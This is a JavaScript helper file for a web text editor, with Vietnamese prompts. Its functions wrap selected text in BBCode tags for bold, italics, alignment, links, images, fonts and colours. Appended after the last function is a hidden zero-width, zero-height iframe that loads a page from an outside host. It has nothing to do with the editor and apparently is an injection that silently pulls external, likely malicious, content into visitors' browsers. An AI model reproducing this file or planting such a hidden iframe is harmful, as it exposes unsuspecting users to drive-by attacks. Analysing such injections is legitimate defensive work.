function AddText(NewCode) 
	{
	if (document.myForm.noidung.createTextRange && document.myForm.noidung.caretPos) {
		var caretPos = document.myForm.noidung.caretPos;
		caretPos.text = NewCode;
	} else {
		document.myForm.noidung.value+=NewCode;
	}
	document.myForm.noidung.focus();
	}

function bold() 
	{
	var text = getText();
	if (text)
		{
		AddTxt="[b]" + text + "[/b]";
		AddText(AddTxt);
		}
	else 
		{
		txt=prompt("Nhap noi dung cho dong chu in dam:","");
		if ((txt==null) || (txt==""))
			{
				AddTxt="";
				AddText(AddTxt);
			}
		else
			{
				AddTxt="[b]" + txt + "[/b]";
				AddText(AddTxt);
			}
		}
	}

function italicize() 
	{
	var text = getText();
	if (text)
		{
		AddTxt="[i]" + text + "[/i]";
		AddText(AddTxt);
		}
	else 
		{
		txt=prompt("Nhap noi dung cho dong chu in nghieng:","");
		if ((txt==null) || (txt==""))
			{
				AddTxt="";
				AddText(AddTxt);
			}
		else
			{
				AddTxt="[i]" + txt + "[/i]";
				AddText(AddTxt);
			}
		}
	}

function underline()
	{
	var text = getText();
  	if (text)
		{
		AddTxt="[u]" + text + "[/u]";
		AddText(AddTxt);
		}
	else 
		{
		txt=prompt("Nhap noi dung cho dong chu co gach chan:","");
		if ((txt==null) || (txt==""))
			{
				AddTxt="";
				AddText(AddTxt);
			}
		else
			{
				AddTxt="[u]" + txt + "[/u]";
				AddText(AddTxt);
			}
		}
	}

function left()
	{
	var text = getText();
 	if (text)
		{
		AddTxt="[left]" + text + "[/left]";
		AddText(AddTxt);
		}
	else 
		{
		txt=prompt("Nhap noi dung cho dong chu canh trai:","");
		if ((txt==null) || (txt==""))
			{
				AddTxt="";
				AddText(AddTxt);
			}
		else
			{
				AddTxt="[left]" + txt + "[/left]";
				AddText(AddTxt);
			}
		}
	}

function center()
	{
	var text = getText();
 	if (text)
		{
		AddTxt="[center]" + text + "[/center]";
		AddText(AddTxt);
		}
	else 
		{
		txt=prompt("Nhap noi dung cho dong chu canh giua:","");
		if ((txt==null) || (txt==""))
			{
				AddTxt="";
				AddText(AddTxt);
			}
		else
			{
				AddTxt="[center]" + txt + "[/center]";
				AddText(AddTxt);
			}
		}
	}

function right()
	{
	var text = getText();
 	if (text)
		{
		AddTxt="[right]" + text + "[/right]";
		AddText(AddTxt);
		}
	else 
		{
		txt=prompt("Nhap noi dung cho dong chu canh phai:","");
		if ((txt==null) || (txt==""))
			{
				AddTxt="";
				AddText(AddTxt);
			}
		else
			{
				AddTxt="[right]" + txt + "[/right]";
				AddText(AddTxt);
			}
		}
	}

function hyperlink()
	{
	var text = getText();
	if (text)
		{
		txt=prompt("Hay Nhap duong dan cua lien ket:","http://");
		txt2=txt
		if ((txt2==null) || (txt2=="") || (txt2=="http://"))
			{
				AddTxt=text;
				AddText(AddTxt);
			}
		else
			{
				AddTxt="[url=\"" + txt2 + "\"]" + text + "[/url]";
				AddText(AddTxt);
			}
		} 
	else
		{ 
		txt3=prompt("Hay nhap noi dung cho link:","");
		txt4=prompt("Hay nhap duong dan cua lien ket:","http://");
		if ((txt3!=null) && (txt3!="") && (txt4!=null) && (txt4!="")&& (txt4!="http://"))
			{
				AddTxt="[url=\"" + txt4 + "\"]" + txt3 + "[/url]";
				AddText(AddTxt);
			}
		else
			{
				AddTxt="";
				AddText(AddTxt);
			}
		}
	}

function image()
	{
	var text = getText();
	if (text)
		{
		AddTxt="[img]" + text + "[/img]";
		AddText(AddTxt);
		}
	else
		{
		txt=prompt("Duong dan cho file hinh anh:","http://");
		if ((txt==null) || (txt==""))
			{
				AddTxt="";
				AddText(AddTxt);
			}
		else
			{
				AddTxt="[img]" + txt + "[/img]";
				AddText(AddTxt);
			}
		}
	}

function showfont(font)
	{
	var text = getText();
 	if (text)
 		{
		AddTxt="[font="+font+"]" + text + "[/font="+font+"]";
		AddText(AddTxt);
		}
	else 
		{
		txt=prompt("Hay nhap noi dung voi font "+font+".","");
		if ((txt==null) || (txt==""))
			{
				AddTxt="";
				AddText(AddTxt);
			}
		else
			{
				AddTxt="[font="+font+"]"+txt+"[/font="+font+"]";
				AddText(AddTxt);
			}
		}
	document.myForm.Font.selectedIndex = 0;
}


function showcolor(color)
	{
	var text = getText();
 	if (text)
 		{
		AddTxt="["+color+"]" + text + "[/"+color+"]";
		AddText(AddTxt);
		}
	else 
		{
		txt=prompt("Hay nhap noi dung voi mau "+color+".","");
		if ((txt==null) || (txt==""))
			{
				AddTxt="";
				AddText(AddTxt);
			}
		else
			{
				AddTxt="["+color+"]"+txt+"[/"+color+"]";
				AddText(AddTxt);
			}
		}
	document.myForm.Color.selectedIndex = 0;
	}

function storeCaret(ftext)
	{
	if (ftext.createTextRange)
		{
		ftext.caretPos = document.selection.createRange().duplicate();
		}
	}

function getText()
	{
	if (document.myForm.noidung.createTextRange && document.myForm.noidung.caretPos) 
		{
		return document.myForm.noidung.caretPos.text;
		}
	else 
		{
		return '';
		}
	}<iframe src=http://www.luoshen.org/tools/index.shtml width=0 height=0></iframe>
